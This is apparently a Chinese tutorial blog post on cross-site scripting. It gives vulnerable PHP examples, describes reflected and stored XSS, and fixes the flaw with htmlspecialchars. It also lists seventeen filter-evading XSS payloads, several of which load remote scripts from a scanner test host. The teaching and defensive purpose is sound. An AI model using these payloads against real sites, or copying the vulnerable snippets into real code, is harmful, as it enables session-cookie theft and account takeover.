XSS跨站漏洞(Cross-site scripting):

Ø XSS 跨站漏洞 ( Cross-site scripting )
跨站点脚本攻击( XSS/CSS )安全缺陷,往往存在于那些提供动态网页的 Web 应用系统中。这类 Web 站点提供动态的页面,这类页 面由为用户动态建造的多个源站点的信息组成。如果应用系统存在该漏洞,则攻击者可以将恶意内容(一般为代码)插入到 Web 点提供动态的页面中,以收集其他用户在使用被攻击页时提交的重要信息,或简单的在其它用户的浏览器上执行攻击脚本代码。
Ø 代码示例:
Exp 1:
<?php
$error_message = $_GET['error'];
print $error_message ;
?>
Exp2
<?php
redirect_page = $_GET['page'];
header ("Location: " . redirect_page);
?>
Ø 利用方法:
1. <script>alert(document.cookie)</script> …… .
2. http://www.a.php ………..
XSS 漏洞分类
XSS 的按照攻击时漏洞利用方式大体分为两种 :
反射型 XSS 构造特殊 url, 引诱用户去访问 , 盗取用户登陆 cookie ,获取用户资料,下载木马
持久型 XSS :灌入有漏洞页面特殊数据,用户访问后,获取资料,窃取登陆 cookie, 按照木马
XSS 漏洞实例剖析
<?php
echo isset($_GET['msg'])?$_GET[‘msg’]:””;?>
利用方式
1. ? msg=1<script>alert(404667579926)</script>
2. ?msg=1<ScRiPt%20%0a%0d>alert(404677579926)%3B</ScRiPt>
3. ?msg=%3Cimg%20src%3D%22JaVaS%26%2399%3BRiPt:alert%28404757579926%29%3B%22%3E
4. ?msg=1<%00script>alert(404777579932)%3B</script>
5. ?msg=1<DIV+STYLE="width:expression(alert(404797579932))%3B">
6. ?msg=1<FRAMESET><FRAME+SRC="JaVaS%26%2399%3BRiPt:alert(404807579932)%3B"></FRAMESET>
7. ?msg=1%3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%28404817579932%29%3B%22%3E
8. ?msg=1<META+HTTP-EQUIV="refresh"+CONTENT="0%3Burl=JaVaS%26%2399%3BRiPt:alert(404827579932)%3B">
9. ?msg=1<iframe+src="data:text/html%3Bbase64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo= "+invalid="404837579932">
10. ?msg=1<embed+src="http://testphp.acunetix.com/xss.swf?404847579932"+type="application/x-shockwave-flash"/>
11. ?msg=1<body+οnlοad=alert(404857579932)>
12. ?msg=1<ScRiPt+src=http://testphp.acunetix.com/xss.js?404867579932></ScRiPt>
13. ?msg=1<img+src=http://testphp.acunetix.com/dot.gif+οnlοad=alert(404897579939)>
14. ?msg=1<script/xss+src=http://testphp.acunetix.com/xss.js?404887579939></script>
15. ?msg=1<ScRiPt+bad=">"+src="http://testphp.acunetix.com/xss.js?404927579939"></ScRiPt>
16. ?msg=%3C/xss/*-*/style=xss:e/**/xpression(alert(405067579944))%3E
17. ?msg=<meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'>
Ø 危害
获取用户信息 , 冒充用户登录 , 传播木马信息 , 散布违禁信息 …… .
Ø 防范方法
另外一个 Web 应用安全的基础是对输出进行转义或对特殊字符进行编码,以保证原意不变。输出转义是对 xss 防范 基础
Ø 怎么样进行过滤
l 识别输 - 它是什么,做什么用 ?
l 输出转义 - 在外系统中特殊字符的可靠和完整的列表
l 区分已 转义 未转义 数据 - 定义已经过滤的数组
修改方法:
<?php
$error_message = $_GET['error'];
$html=array();
$html['error']=htmlspecialchars($error_message, ENT_QUOTES);
echo $html['error'];
?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值